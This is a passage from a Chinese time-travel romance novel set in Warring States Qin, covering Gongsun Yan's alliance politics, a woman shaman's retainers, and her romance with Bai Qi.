战国七雄,并非指天下只剩下七个国家,而是说,战国时代最能打的七个国家。百年兼并战争,小国陆陆续续被吞并,除了战国七雄,而今就剩下中山、宋、卫零星几个小国。 秦国在西,与三晋接壤,南边是楚国,最东边是燕国与齐国。 她看着地图,脑海中不自觉浮现起秦灭六国的顺序,韩、赵、魏、楚、燕、齐,先把最近的灭掉,再灭远的,所谓远交近攻。 楚越正看着,嬴轩偷偷凑了过来,他看了一眼聚精会神盯着地图的楚越,好奇问道:“你在看什么?” “看地图啊。”楚越头也不抬。 “地图有什么好看的。”他还想问,嘴一张,却叫了出来,楚越被他忽如其来的声音吓了一跳,回头望去,嬴华怒目而视的脸映入眼帘。 嬴华委托完诸将,正想找嬴轩交代几件要事,一回头,却发现他不知何时溜走,跑到楚越身边,跟她一起仰着头看起地图来。 他上前,在两人身后站了片刻,但嬴轩显然没注意到他,嬴华当即抬腿,一脚踹在嬴轩屁股上。 嬴轩这才回头,发现是嬴华,当即垂首,“将军,将军恕罪。” 嬴华没了耐心,“做事去!” “是。” 嬴轩低着头,一溜烟跑出屋中,楚越这才问嬴华,“将军,你找我有何事。” “魏王死了,太子继位。” 嬴华转身,在桌案上找了找,捡起一封帛书,递给楚越,“咸阳传来的消息,新王一继位,便又提拔了公孙衍。” 这对冤家,真是不死不休。 “当年张子要攻齐,我认为齐远,攻之无用,现在看来,还是张子有远见,韩魏之所以倒向秦,是为了对抗齐楚,若是能挫败齐国,便能加强对魏国的掌控。” “一旦公孙衍掌权,魏国就不好说了。” 楚越嘴上说着“有道理”,大脑却一片空白。 等一下,她在烧烤。 魏国的霸业已经衰败,秦国与齐国的霸业正在冉冉升起,但是两国并不接壤,于是夹在两国之间的魏、韩,成了需要争取的国家。 张仪实践的连横,即侍一强,攻众弱。 就是找对大哥,跟着大哥出去为虎作伥。 对于魏国这样同时与秦国、齐国、楚国、韩国接壤的四战之地来说,顾头不顾腚,拆了东墙补西墙的日子真不如跟着秦国或者齐国。 少任何一边,国防压力都能顿减,是一条不错的出路。虽然苟延残喘,但,总的先活下去,才能再图强。 公孙衍践行的合纵,即集中弱国力量,对抗秦、齐等大国。 三晋联合起来,加上战国第八强中山国、苦寒之地的燕国,组成同盟。一个弱国被打,别的国家也来帮忙。 1v5,即便是秦、齐这样的大国,也难以招架。 听起来很有道理。 但是往深一想,就不行,拿三晋来说,但凡他们能组成利益共同体,晋国也不会分成三块。 所以公孙衍的五国相王破产了。 历史上,五国相王失败后,公孙衍并没有放弃合纵,而是又组织了新一次合纵。 这位大才,在第一次失败后,调整了自己的策略,成功组织起新合纵,带着乌泱泱一大批国家,来围殴秦国。 “公孙衍若在魏国得势,魏国极有可能调整对外邦交之策,一旦魏国得到齐国支持,将不利于秦国。”嬴华忧心忡忡道。 楚越回过神来。 公孙衍还在和张仪争权,但得到魏王的重用是早晚的事。 他会不利于秦国? 何止啊,秦韩同盟,也被他拆了。 围殴大军即将抵达函谷关。 魏国不重用,就打魏国,秦国不重用,就打秦国。 大才。真大才。 “齐楚历来盟好,说不准还有楚国呢。”楚越幽幽道。 嬴华看了一眼地图,面色随之凝重,良久,似乎下定了决心,“打就打,谁怕谁。” 几个士卒从外而来,端上酒肉,望着一桌丰盛菜肴,楚越‘哇’出声,“是要庆功吗?” 嬴华看向她,“今日是你生辰,你忘了。” 楚越这才后知后觉想起,今天似乎是自己编的生辰,原主的具体出生日期,她并不清楚,所以当掖庭令询问她生年时,她随口编了一个日子。 记忆中,除了王后,似乎没什么人在意这个日子。 “你怎么知道的?” “我?”嬴华怔了一下,“我不是每年都有送给你贺礼吗?” “什么?”轮到楚越吃惊了。 嬴华目光一时变得认真,“没收到吗?” 楚越想了想,似乎想起了什么,“我要回去查一下。” “看来你每年收到的贺礼还不在少数。”嬴华感慨道,他举杯,“敬你。” “谢谢。” 年龄是个经不起计算的东西,楚越穿来之前,已经24岁,加上现在的她伸出四根手指,又飞快蜷缩回三根。 十七岁,就是十七岁。 真按时间轴来算,她还负两千多岁呢。 酒足饭饱,楚越又站到了地图面前,嬴华双手抱臂,看看地图,又看看楚越,似乎等着她说出些什么。 “这地图不全。” “嗯?”嬴华眯着眼睛,仔细打量过地图,“列国都在啊。” 楚越抬手,指向秦国背后,“义渠呢?” 公孙衍纠集的,不仅有山东列国,还有秦国背后的义渠,全方位无死角围殴秦国。 嬴华脸色一变。 “我还有约,先走了。” 走出去三步,楚越又回过头,问嬴华道:“我想从军中要一个人,做我的门客。” “白起?那不行。”嬴华一口拒绝,“他这样的人才,给你做门客,太过浪费。” “谁说我要白起了。”楚越没好气道。 “那还有谁?”嬴华困惑道。 “诙。” 嬴华想了想,“这么宽宏大量?别忘了他之前可欺负过你。” “你记得他?” 嬴华挥手,示意楚越快走,“你自己想好了就行,他若愿意,可以去找文吏。” “我先走了。” 楚越道别嬴华,回到营帐,白起早等在这里,手中还抱着一把剑,正是楚越的剑。 一场仗打下来,即便是铁剑,也会崩口卷刃,需要工匠修补,白起自 告奋勇,可以帮她修。 “你剑上刻的什么字?”白起好奇问道。 楚越拔出剑,剑身上两个简体字,分外突出。 “唯物。” 本来想写马哲,但是怕后人误会,以为马哲是她的名字,于是写了唯物。 “我只听说过君子唯德,唯物是什么?” “唯物就是” 楚越犯了难,她要是说唯物就是物质决定意识,白起肯定会问,什么是物质,什么是意识? 而且,她是个神官。 有些话不能说,砸饭碗。 “比如我走在路上,遇到一块石头,要根据石头的大小,判断应该是绕开还是跨过去。石头决定我的行动,而不是我的心。” 白起点点头,似懂非懂,“那没有石头你也可以决定自己怎么走啊。” 楚越深吸口气。 意识反作用于物质。这句话怎么翻?急。 她解释不出来,干脆一把捂住了白起的嘴,“别问了。” 白起笑着抓住她按在自己脸上的手,将她往前牵,楚越顺势投入他怀中,想了想,解释道:“你这么想也可以,但是我想强调的是石头。” 给古人讲唯物。 除了她应该没谁了。 白起笑了一下,低头环抱住楚越,口鼻埋入她肩颈,他忽然在她耳边问道:“你想让诙做你的舍人?” 嗯? 诙这张死嘴一点也不严啊。 这么给领导添乱,不怕得罪领导,给他穿小鞋是吧。 楚越抬头,看向白起,打量他脸上的表情,试探性问道:“怎么了?” 是舍人,又不是面首。 难道女官不能养男门客吗? 就算养面首也要找个好看的,诙算了吧。 “怎么想着养门客?” 楚越愣了一下,凝视白起的眼睛,企图从中看出一丝端倪。 但她失败了。 黑色是最好的隐藏色,只要白起自己不想表露,他就可以轻而易举,将自己所有情绪藏在眼底,让任何人都看不出来。 楚越不知白起忽然问诙的用意,也看不出他对这件事的态度。 她养门客还要跟人打报告吗? “我有钱啊,为什么不能养。” 养门客,最主要得有钱,她花自己的钱养门客,理直气壮。 白起眼底浮起阵笑意,他伸手,飞快在楚越脑门上弹了一下,“想什么呢,我是问你养门客的打算,不是在逼问你,也不是对这件事有异议。” 楚越抬手,摸了摸脑门,心中悬着的那块石头悄然落下去,她故作深沉的叹口气,“这不是怕某些人又生出君子不该思的东西。” 白起笑了,抓住楚越的手腕,将她的手挪开眼前,凑上前,去看她的眼睛,“这个某些人,不是说我吧。” 额头相抵,四目相对,两人呼吸,明显滞重了一个节拍。 楚越仰首,想要吻上那近在咫尺的唇,白起却后退,他的鼻尖扫过楚越的眼睛,在她额头印下一吻。 亲完她的额头,白起想要直起身,楚越双手勾住他的脖子,将他压了回来,她注视着白起深黑的眼睛,“不是你,还能是谁?” “还能是我吗?”说罢,楚越亲了上去。 唇齿交融,又分开,两人气喘吁吁,抱在一起,白起搂住楚越的腰,在她耳边道: “诙让我也去做你的门客,说我和你的关系更好,我若开口,你一定不会拒绝我。” 自己发现了捷径,也没忘记兄弟。 楚越一时不知是该夸他,还是该骂他。 她笑了声,问白起道:“那你怎么说的?” “我说,我若是去了,他就当不成舍人,只能做寻常门客了。他便不说话了。” 楚越笑出声来,伏在白起肩头,一边笑,一边道:“我怎么会让你做舍人门客呢。” 那必然是面首。 “不做门客,那你让我做什么?”白起追问道。 “我我一定将你举荐给大王,然后” 然后继续领兵打仗? 想到这里,楚越笑的更厉害了,“算了,我可收不了你这么厉害的门客,别来了,免得日后被人诟病。” “为什么会被诟病?管夷吾举于士,孙叔敖举于海,五羖大夫,曾经做过奴隶,为人门客,与人分忧,为何会被诟病?” 战国时期,落魄的士人,成为某人门客,并不丢人。 “为国君举有才之人,是臣子本分,最终如何,也在被举之人本领,也没什么可诟病的。” 举荐已经算是世卿世禄时代,稍微先进的选才方式。 国家、君主、举荐和被举荐人都受益,唯一对此可能有微词的,是被动了蛋糕的旧贵。 弄清被什么人骂,楚越忽然觉得被诟病也不算什么。 她抬头,望着白起,“好像是这样。” 封建的居然是她?! 白起垂首,望着她的眼睛,“当然是这样。” 两张脸,越靠越近,在即将触碰的前夕,被帐外仓促的脚步声打断,两人迅速分开,背对彼此,整理衣物。 “司巫,我来找你了!”女声清脆,正是当日的女方士,婼。 第35章 激情开麦你怎么不去死 婼一进帐,见帐中只有楚越与白起两人,脸上的笑容顿时僵住了,她似乎意识到什么,尴尬低头,“我” 楚越见婼欲言又止的模样,便知她想问自己来的是不是不太是时候。 她来的的确不太是时候。 但来都来了。 中国有句古话,来都来了。 楚越连忙解释,“白起来送剑。” “是。”白起朝婼一礼,“剑已送到,我还有事,先走了。” 婼颔首还礼。 白起看向楚越,楚越点头,她目送白起离去,一转头,便骤然对上婼一双眼睛如炬。 楚越一怔,好熟悉的目光。 似曾相识。 婼望着楚越好半天,才郑重说出一句,“司巫,久仰大名,如今一见,果真与众不同。” 她就说在哪儿见过呢。 婼这亮晶晶的眼睛,和嬴嘉、嬴缃姐妹看她的目光如出一辙。 “你知道我?”楚越有些意外。 她从军这件事,似乎只在宗室小范围内传开,婼,是怎么知道她的? “你可是司巫啊,我很小的时候,就听父亲说过你的事情,你是巫咸的后人,秦国的大巫,我是听着你的故事长大的。” 等等。 楚越看了看十八九岁的婼,又看了看十六七的自己,她听着自己的事迹长大? “我父亲是村中的巫觋【1】,我一直想成为他那样的人,司巫,你觉得我可以成为巫吗?” 楚越愣了一下。 这是什么黄皮子讨封现场? 她能不能? “能!”楚越笃定道。 别的专业不敢说,巫这个方面,她是学阀。 这么有实力的人加入巫的队伍….楚越觉得,这个夕阳行业也不是那么完蛋。 见对方看自己的眼睛放光,满是憧憬,楚越也就大胆说出了自己的请求,“婼,我找你来,是想和你学一些医术。” 学一门技术,最好的时间,是今天。 巫、医、史,最早都是一家人,乱世之中,还是学一门技术最靠谱。 方士介于医士和巫之间,很多大夫,既是医生,也是方士,战国时代,还没有完全的科学而言,故而是医士还是方士,取决于这个人到底信什么。 婼是信鬼神的。 楚越是信科学的。 两个想跨专业的人,碰到了一起。 “好呀。”婼一口应下。 两人互拜对方为师,楚越教婼占卜术,婼教楚越医术,老师来老师去没有意思,两人便以姊妹相称。 “婼姊。” “越妹。” 先秦的占卜术,也是有规范的。 楚越刚来这个世界,曾被嬴疾怀疑,就是因为她的预言,没有任何经过,便草草推断出。 殷盛甲骨,烧灼动物骨骼,根据裂纹判断吉凶,写下卜辞,及后续事宜。周盛蓍草,根据蓍草排列,对照卜书,找出对应的卜辞。 解卜辞,也有固定的格式。 早不是巫师说什么就是什么年代,预言不是胡说,要有规范有格式的预言,要说的玄,说的模糊,要 用圣人的话,才更有说服力。 楚越算无遗策 照着答案写过程,怎么会有错呢? 楚越也不知道蓍草和《周易》到底有没有用,能否真的演算出未来,但既然答应教婼,楚越便将自己学到的规范化占卜术,教给了婼。 作为回报,婼开始教楚越辨认草药,和一些基础药理。 烈日炎炎,楚越和婼蹲在树下,一个抱着竹简,愁眉不展,费力理解着晦涩的卜辞,一个望着面前一堆草,长吁短叹。 楚越看了看左手的草,又看看右手的草,“这” 晒干了谁认识谁啊,都是干草。 两人对视一眼,无奈摇头。 待在一起的时间长了,楚越渐渐得知婼的身世。 她是个很年轻的二婚寡妇。 父亲是秦军的方士,因战而亡,作为独生女,她继承了父亲的爵位,十五岁那年,她嫁给同村的男子,婚后不久,丈夫就战死了。 没有孩子,她又继承了丈夫的爵位。 丈夫的战友,答应他会照顾自己,于是婼又改嫁,但成婚没多久,她第二个丈夫又战死了,还是没有孩子,于是她第三次继承了爵位。 三次爵位累积,婼成了大夫寡。【2】 她爵位高,邻里便推举她为长,县中征发课役,17以上女子需服‘全作’,正式承担徭役,便由她率领壮女,为大军转输辎重粮草。【3】 婼跟着父亲学过医术,战时人手紧缺,她因此成为方士。 楚越听完,陷入了沉默中,才十九岁的姑娘,居然已经经历过这么多风霜。 良久,她低声问婼道:“课役结束后,你打算去哪儿?” “回家吧,虽然家里也没什么人了。”婼抬袖擦去脸上的汗水,歪头看向楚越,说出了真心话,“我其实不是很想回去。” “县里那些吏总想着再给我找一门婚事,都被我打出去了。我上一个丈夫,都还没记住他的脸,县里便来人告诉我,说他死了。” 婼叹口气。 “我答应嫁给他,原本就是怕我前夫担心,现在好了,我父与前夫若是见到第二个丈夫,一定更担心了。” 楚越‘啊’了声。 婼看向她,认真道:“鬼和鬼之间,应该不需要巫作为媒介吧,我只听说人和鬼之间需要媒介。” 相信巫的人,多半相信灵魂不灭,最早,巫是作为沟通鬼神的媒介而存在。 楚越愣了一下,垂眸避开婼的视线,“当然。” “等我成为了像司巫这样的巫,是不是也能看到他们?我想告诉我父母,还有两个丈夫,我一个人生活的也很好,早晚有一天,我们会再见面的。” 好要命的问题。 楚越不能昧着良心,但也不能戳破婼对生活的期盼。 “你” 她抬头,望向婼,忽然道:“你和我走吧,我会竭尽所能教你。” 能不能成,就看她自己了。 楚越不信鬼神,但也没办法否定鬼神的存在,教给她,万一呢。 同是天下沦落人,一样的无亲无故,一样的被催婚,楚越想帮帮她。 虽然她不能抗住来自王室的催婚,但以她今时今日的地位,帮婼抗住风霜,是够的。 “婼姊,你愿意和我一起走吗?” 楚越郑重询问道。 婼歪头,看向楚越,眼中满是不可置信,“真的吗?我可以跟你走?” 楚越伸手,“当然。” 婼开心的一跃上前,抱住楚越的手臂,信誓旦旦道:“我一定要成为巫。” 楚越:“……” 张仪在魏失势,公孙衍联合魏国亲齐派,不断进言魏王,希望能重启合纵。 上战伐交,一时之间,各国使臣,带着符节,往来穿梭,据理为本国求得同盟。 秦不能失去对三晋的控制,赵国还没胡服骑射,威胁不大,最主要的,是韩魏。 反手抽了韩国一个耳光之后,秦国派出使者,去见韩王,打算将失地奉还,给点甜枣,以稳固秦韩同盟。 大军撤出了鄢,班师途中,天气渐凉下来,快到咸阳时,冬日第一场雪落下,那天恰好是十月初一,秦以十月为岁首,新的一年,眨眼就到了眼前。 进入十月,便是冬天。 冬天,楚越最讨厌的季节。 不仅因为冷,战国的冬天,比后世要冷的多,滴水成冰,呵气成霜,还因为一到冬季,各种祭祀跟雨后春笋一样,从地里蹦出来。 这么冷的天,还要办活动。 腊月,要祭祀先祖,祭祀五神。 还要祭祀掌管农业的八位大神,以及其他有助于农业生产的几百位小神,前者称之为腊祭,后者为‘祭百种’。 天冷地寒,拜神拜得人晕头转向。 楚越愁啊,但大秦就是这样功利,物尽所用,没用了 没用了就完蛋了,不能给公司创造价值的人,自然会被优化。 每个国家都是这样的。 算了,她还是很有用的。 出门一趟,捡回两个门客。 楚越带着她唯二的两个门客,踏入了自己精心装饰的宫外府邸。嬴驷赐给她的府邸,在咸阳城西,站在高处远眺,隐约还能看见渭河。 宅院静谧,依山傍水,诙和婼望着精致的院落,不约而同‘哇’出了声。 “好大的房子。”诙没见过世面道。 楚越挽住婼的手,‘啧’了声,叹气道:“这房子我都还没住过呢。” 所谓养士,和包养没什么区别,管吃管住,待若上宾。 领导在宫中996,赚钱让员工享受。 这合理吗? 不应该他们出去努力,让自己享受吗? 倒反天罡了。 楚越将二人安顿好,才返回王宫,入宫之前,她抽空去见了嬴华。 卸去一身战甲,嬴华一身绛色常服,不带冠,结发为髻,几丝碎发垂在额头,平静坐在楚越对面。 她还未说明来意,嬴华便先开口,“你是不是想问,我和王后说了什么?” 楚越点点头,“对。” 他和王后说了什么? 他和王后,又能说什么? 楚越心中已经有了几分猜测,但人总是存着侥幸的心,她不愿意朝自己不想接受的方向去想,可是现实又摆在面前。 是什么让一个生气的人,轻而易举放下芥蒂,和她和好如初? 她曾经走过这样的路。 一束夕阳从窗外投入,正好照在嬴华有些粗糙黑黄的皮肤上,阳光中,他的眼睛异常明亮,似乎盯着什么特别在意的东西。 楚越看的清晰,他颜色愈发淡下去的瞳眸中,倒映着自己的脸,那一瞬,她什么都知道。 他踏上了那条和她一样的路。 心脏开始剧烈跳动,呼吸也随之急促,她不得不伸手捂住自己的胸口,许久,她才发现自己的情绪到底是什么。 愤怒。 她是那么愤怒。 楚越愤怒的站了起来,居高临下,冷冷睥睨眼前的男人,骂道: “你怎么不去死。” 第36章 高媒神古代版520,成年人的节日…… 楚越骂完,扭头就走,嬴华追了出来。 预料到了不好的结果,但事情的发展又远超他的预期,朝着莫名的方向,飞驰而去。 她的第一反应,居然是生气? 骂的也稀里糊涂,不成章法。 不是震惊、错愕、难以接受,而是生气。 这打了嬴华一个措手不及,准备好的话,全变得不合时宜起来,他追在楚越身后,一路沉默,不知该如何开口。 两人一前一后,步伐匆匆,嬴华一路跟着楚越,直追出府邸外。 眼见楚越要走,嬴华不得不上前一步,抓住了她的手臂,“等等。” 楚越猛地甩开嬴华的手,回过头,死死盯着他,“你要是再敢跟王后胡说什么,我就和你没完!” 嬴华望着面前火冒三丈、气冲斗牛的楚越,不知为什么,忽然变得冷静下来,他从未像现在这样冷静过,已经到嘴边的‘你听我说’,随着呼吸收入胸中。 他望着楚越,目光逐渐凝聚,变得深邃。 “你为什么这么生气?” 他似乎觉察到了什么。 楚越非同寻常的反应背后,到底是什么呢? 这句话一出,楚越顿时心虚起来,她垂眸,避开嬴华的视线,强压下心头怒火,质问他道:“你到底跟王后说了什么!” 嬴华缓慢收回视线。 王后,到底跟他说了什么? 他的思绪不妨被扯回那一日 起初,他入宫,是想为楚越和白起说情的。 答应会帮她,就一定会帮到底,而且他也非常欣赏白起,秦军中的后起之秀,假以时日,必成大器。 王后听完他的说辞,却问道:“公子华,你为什么要帮她?” 他刚想回答,王后又为这个问题加了一重限制,“你一直在帮她。” 能因为什么?无非,他是个大好人。 天下一定找出不出来第二个比他还心善的人。 “她还分不清公子和公孙的时候,就想要出宫去找你,我为她缝一件新衣服,她也一定要穿给你看。她总想着找你,追寻你的身影。” 好人总是招小孩喜欢。他想。 他也乐得和她一起玩,越小的孩子,越淳朴,没有成人之间的勾心斗角,她的眼睛那么清澈,所有情绪,一眼便能洞悉。 有她在的地方,是净土,他能卸下所有防备,说出所有想说的,却碍于身份不能说的话。 “她追寻着你,而你,也一直为她驻足,若说从前是因为她年纪小,你照顾她,那现在呢?” 他想了想,回答道:“习惯了。” “可是她现在已经长大了,男女七岁不同席,公子华,你是君子,难道会想不起礼法吗?可是你还是任由自己所想,逾越了应该疏远的人。” “你自己不明白吗?” 他不明白吗?嬴华沉默了。 想过明白,却觉得过于匪夷所思,唯有他自己知道,这么多年来对楚越的心境始终如一,没什么变化。 他不可能对一个小孩子生出男女之情。 所以他迟迟无法判断出,自己心中到底对她抱着何种感情。 王后的话,像一柄剑,锋利划开嬴华混沌的世界,应该疏远却没有变化的时候,一切就已经变了。 君子慎独,不欺暗室,明白了,就不会再自欺欺人。 嬴华低头,沉默良久,向王后道:“臣从前不明,多亏王后,今日明白了。但,她既与白起两心相知,臣知,与不知无异。臣还是那番话,希望王后能成全她,和白起,让他们能在一起。” 现在知道,还不如不明白。 “你是秦国公子,有些话,不需要我说,你自己清楚。她能和那个姓白的少年在一起吗?” “他也是嬴姓子弟,秦公子白的后裔,应当” 王后冷笑声,“那是之前的事了。” “秦国的宗祝,是先公后裔,是宗室,大王的血脉亲人,她无根无基,仅凭几句预言,就高居司巫之位。看起来王上信任,地位尊崇,实则徒有其表。” “没有根基的,又触犯旧贵利益的大臣,都是什么下场呢?一旦失去君王信任,就会立刻被群起而攻之。” “李悝自刎。吴起亡楚,又被楚国旧贵围攻致死,箭雨并中王尸。” “商鞅,被车裂。” “你以为自己在顺她所想,实则是在害她。她不需要那些虚无缥缈的情感,而需要一个能作为盟友的丈夫,如此,才能在秦国立足,长远的活下去。” 嬴华沉默了。 “你能看着她走上绝路吗?”王后逼问道。 嬴华脱口而出,“当然不能。” 原本,嬴华想找个时机,和楚越推心置腹,分析当下局势,道清利弊,谁料他还未去找她,她先登门。 自己还未开口,她便已经看清一切。 勃然大怒,拂袖而去。 嬴华只觉匪夷所思,不知她是如何猜到,也不知她的怒到底从何来。 除非 能猜到对方所想,无非照着对方想法,想过一遍。愤怒,往往因为无力。往事,不适时宜的,浮现眼前,少时,她曾很认真的望着自己,“我不是小孩。” 嬴华的心颤了一下,不敢再想下去。 他望着面前楚越,肉眼可见的,她心虚了,躲开自己的视线,不敢看自己,方才还旺盛的怒火,骤然减半。 对于自己的问题,她也选择了避而不答。 气氛一时凝重起来,楚越越是沉默,嬴华越是莫名恐慌,他为自己的想法感到恐惧,又害怕一切真是自己想的那样。 一时之间,两人都陷入了沉默,谁也没有先开口,开口也不知道该说什么。 楚越深吸口气,“我自己的事情,我自己解决,我应该能猜到,王后和你说了什么,或许,我现在孤立无援,但这局面不会持续很久。” “除了血盟,还有道义之盟,这不也是你常说的,君子之道。” 她只是秦国的雇工,要想站稳脚跟,得成为股东才行,和一个股东结婚,得到股东身份固然便捷。 但秦国已经没有合适她嫁的股东了。 除了新生一代,自己看着长大的嬴壮、嬴荡 说完,楚越登上轺车,驭手驱马,待到楚越的背影快消失在街尽头,嬴华才反应过来,望向她离去的方向。 “楚越。”他唤道。 但她没有回头。 这个冬天,不仅是楚越,所有人都过得忧心忡忡,使者往来秦魏、秦韩之间,带来的消息,却不尽如人意。 大才公孙衍使了阴招,在韩国散布谣言,秦魏同盟,是为了揍韩国。 韩国一下就炸了,连横攻众弱,那个弱居然是自己。 三个人的友谊,注定是充满猜忌的。 秦国的盟友,全都若即若离,这让秦王和臣工们,都十分难受。打,怕对方倒向齐国,不打,又无法控制。 这样的局面,一直持续到开春。 秦魏彻底分手了。 魏王在齐国的要求下,驱逐了张仪,而以公孙衍为相,命他全权主持合纵。 公孙衍吸取上次合纵失败经验,积极拉拢大国下场,推举齐国的盟友,楚国楚怀王为伐秦纵长。韩魏都出兵合纵,赵国也参与其中。 秦赵也接壤,有便宜不占王八蛋。 围殴,真的来了,据探子回报,列国正筹措粮草、征调兵马,准备扣秦函谷关。 秦国也开始筹措粮草,组织兵员,与列国一战。 仲春三月,祀高媒神,高媒神掌姻缘,是生殖之神。 秦的高媒神是女脩,诞育先祖伯益的女性始祖【1】。列国的青年男女,都会在这一日,踏青、祓禊,沐浴河中,洗去身上污垢。 然后开始过节。 战争的阴霾,覆盖在咸阳城上空,该成双成对,相依相守开心过节的男女,却个个泪眼婆娑,分离,近在咫尺。 没人知道,这一分开,何时还能团聚,又是否还能再见。可怜无定河边骨,尤是春闺梦里人。 楚越坐在祭祀搭起的简陋土台上,望着一对对有情人惜别,原本因为过节,能见到白起,稍微好转的心情,又沉了下去。 没人喜欢打仗。 她不想去李帛,那个会被义渠重点攻击的城池,太危险了,可是风浪越大,鱼越贵。 要想崭露头角,需得一些拿得出手的功劳才行。 不然,怎么转股东? 那道熟悉的身影,出现在不远处,楚越当即站了起来,提着裙子,朝他 跑了过去。她扑进白起怀中,抱住他的腰,白起猝不及防,被她撞的往后退了半步,双臂却立刻合拢,抱住了她。 温热的脸,贴在楚越耳畔,以示安抚,楚越抬起头,白起的表情,还很茫然,“怎么了?” “和我去个地方。” 白起跟着她往前跑了几步,才问道:“去哪儿?” 她拉着他,穿梭在密林中的小道,楚越提着裙角,健步如飞,他们往前跑着,似乎要甩掉身后一切束缚,什么秦国、军功、司巫。 通通不要了。 现在,挣脱束缚的他们,是自由的。 他们一直往前跑,一棵棵树,消失在他们身后,白起不知道她要去哪儿,被她拉着往前。 两人爬到山顶,视线才豁然开朗,地平线尽头,太阳温暖照耀的地方,村庄静谧,再往远看,渭水磅礴。 楚越指着那片地方,回头对白起道:“那边,是我的宅子,也是准备以后居住的地方,比邻渭水,可以抓小鱼小虾来喂我的大鹅。” 白起气喘吁吁,顺着楚越手指的方向望去,在看清田宅后,深黑的眼睛,飞速眨了一下,他低头,对上楚越明亮而兴奋的双眼。 她望着自己,眼中满是对将来的憧憬。 阳光温暖,她的眼睛愈发清澈,望着眼前少女,白起的心陡然跳空了一拍,他忽然上前一步,双手捧住了楚越的脸,深深吻了下去。 他的吻,汹涌而激烈,潜藏在血脉中的狂野,与爱意迸发。 楚越有些招架不住,连连后退,她搂住白起的脖子,力争上游,才勉强扳回一城。 火焰,随着你来我往踉跄步伐,在两人之间渐渐腾起,白起的动作却慢慢停了下来,最终停下,他靠在楚越肩头,沉重滚烫的呼吸,隔着轻薄麻衣,频频烧灼肌肤。 密林深邃,虫鸣鸟叫,心跳如鼓,在咫尺间作响。 “君子”白起的圣人之语还没说出口,楚越已经握着他的手,扯开了自己的衣带,半边衣襟掉落。 白起的呼吸杂乱起来,头也本能偏开。 秦国民风淳朴,礼法不森,男女淫奔,司空见惯。白起是君子,当楚越也是女士,守着礼,日复一日。 楚越捧起他的脸颊,让他正视自己,掌心温度滚烫,白起眼眸愈深。 “周南有《野有死麕》,秦风有蒹葭。蒹葭苍苍,在水一方。所谓伊人,在水一方。” 爱的人就在对面,只需涉水的勇气。 礼约束人,却并非要磨灭人的勇气。 连绵深草倒下,发出窸窣的声音,天与地,在眼前旋转,两人出来前精心选了一番的衣服,凌乱堆叠 白起伏在楚越怀中,楚越抱着他碎发蓬松的头,“白起。” “嗯?”白起的声音慵懒。 “你之前对我唱的那首歌,再唱一遍给我听听。” 怀中人轻轻笑了下,“好。” “今夕何夕,得与王子同舟”【2】 此时歌声,不再如当日一般,夹杂着淡淡的忧伤,白起唱着,楚越双臂回缩,更紧抱住了怀中的少年。 “如果我没有回来,你就将我忘了,就当渔女和鄂君,只是相遇,没有结局。” 白起觉察楚越语气不对,猛然从她怀中抬起头,“你要去哪儿?” “李帛。” 第37章 李帛这一次她要让所有人都听到她的声…… 楚越拉着白起的手,两人一起漫步在街巷中,憧憬一点点化作现实,画卷般在白起眼前展开。 乡村房屋栉次鳞比,隐约城镇繁华轮廓,不远处田地,阡陌交通,往来儿童,追逐嬉戏。 “那边是渭河。”楚越指着不远处道。 两人一起到了河边,春风和煦,河水宽广,明媚的阳光,照在两人身上,像是爱人的怀抱与呼吸。 他们并肩走在河滩,天空蔚蓝,一时偌大天地,仿佛只剩下他们两个人。 白起往前走,视线却停留在身边人头顶,他望着楚越,似乎怎么也看不够。楚越抬头,恰好对上白起聚精会神的视线,她望着他,微微一笑。 “我很好看吗?这么盯着我看。” 白起眼中含笑,不假思索道:“当然。” 楚越听得开心,往前凑去,逼近白起的脸,“那你还有什么,想对眼前这位美人说的吗?” 白起垂眸,抿唇,“没有。” “可是美人有话想对你说。” 白起抬眸,“什么?” 下一瞬,楚越温热的唇便贴了上来。 她不讲道理的、蛮横的将白起按在芦苇堆中,哪有美人的样子。 芦花飞舞,落在白起健壮的手臂,楚越伸手拂开,顺带摩挲过他身上新旧叠加的伤痕。 楚越目光逐渐变得困惑,“什么时候的事情?” 和他并肩作战的时候,她没有发现过白起受伤。 他总是那么镇定,那么从容,那么安静,完全看不出来一点受伤的样子。 没被发现,不代表没发生过。 白起抓住楚越的手,轻而易举坐了起来,坐在她身上的楚越失去平衡,身子止不住的后倾,白起托住她的后背,双臂收缩,将她拉到眼前。 “忘记了。” 楚越还想说什么,唇齿已然被堵上。 唇齿相碰,耳鬓厮磨,楚越搂住白起的脖子,半边身子贴上他精壮的胸膛。 如漆长发散在倒地的金黄芦苇上,像一副水墨,铺陈开来。 激烈时,楚越的手抓住身边芦苇,又被白起的手包裹,十指相扣,紧紧握在一起。 微风吹过,芦苇荡泛起层层金色涟漪。 夕阳斜照,白起赤着上身从芦苇丛中走出,背上几道抓痕见血,他走到河边,掬起一捧水,洗了把脸,又喝了两口,摘了片大叶盛水,原路返回。 楚越已经穿好衣服,抱着膝盖,有些疲累的样子。 白起双手捧住树叶,将水递到她嘴边,楚越唇干口燥,就着白起的手将水喝了个精光。 楚越喝完水,白起背过身,开始穿衣服,楚越余光不妨瞥到白起后背抓痕,头陡然垂了下去。 乌黑长发,挡住她满面窘迫。 白起穿好衣服,见楚越低着头,头也随之低了下去,他去看她的眼睛,问道:“怎么了?” 楚越别开白起的视线,“没没什么” 情到浓时,触及某些敏感,气血上头,横冲直撞…… 但怕他自己不知道这件事,楚越还是咬牙说了出来,“你背上的伤回去还是避着点人” 当然也可以说是自己抓的。 但白起,不像是会说谎的人。 此话一出,白起的脸上也露出尴尬之色,“没没事” 白起坐在堆叠的芦苇上,一双手从后伸来,勾住他的脖子,楚越将下巴搁在他肩膀,唇鼻在他耳边、颈窝摩挲,“不要走。” 这一别,又不知猴年马月才能见到。 以前读不明白柳永的‘执手相看泪眼’,现在是真‘无语凝噎’了。 叹息声很轻,却足够清晰。 白起微微侧首,望向身后楚越,“我得回去了。” 楚越:“” 王后因魏国和秦国之间的联盟摇摇欲坠,而终日忧心,秦魏这些年来摩擦不少,但联盟始终牢固,攻魏,只是降服魏国的手段之一,两国的联盟还是十分紧密。 原因无二,说到底都是天定。 秦国的崤函关固然坚固,能抵挡外敌,但也卡住了秦国的膨胀的野心,遏制秦国的东出之路。魏国,刚好坐落在秦国窥探中原的路上。 两国本该是你死我活的。 然而此时的天下,却进入了僵持阶段,秦国之外,齐国、楚国也崛起,三大国争霸。 众所周知,三角形具有稳定结构。 这个时候,再想打一场灭国战争,便变得困难起来。 灭魏,齐楚肯定不能坐视,灭不掉,只能想办法将魏拉到自己这边,免得他倒向齐国,和楚国联手,来打自己。 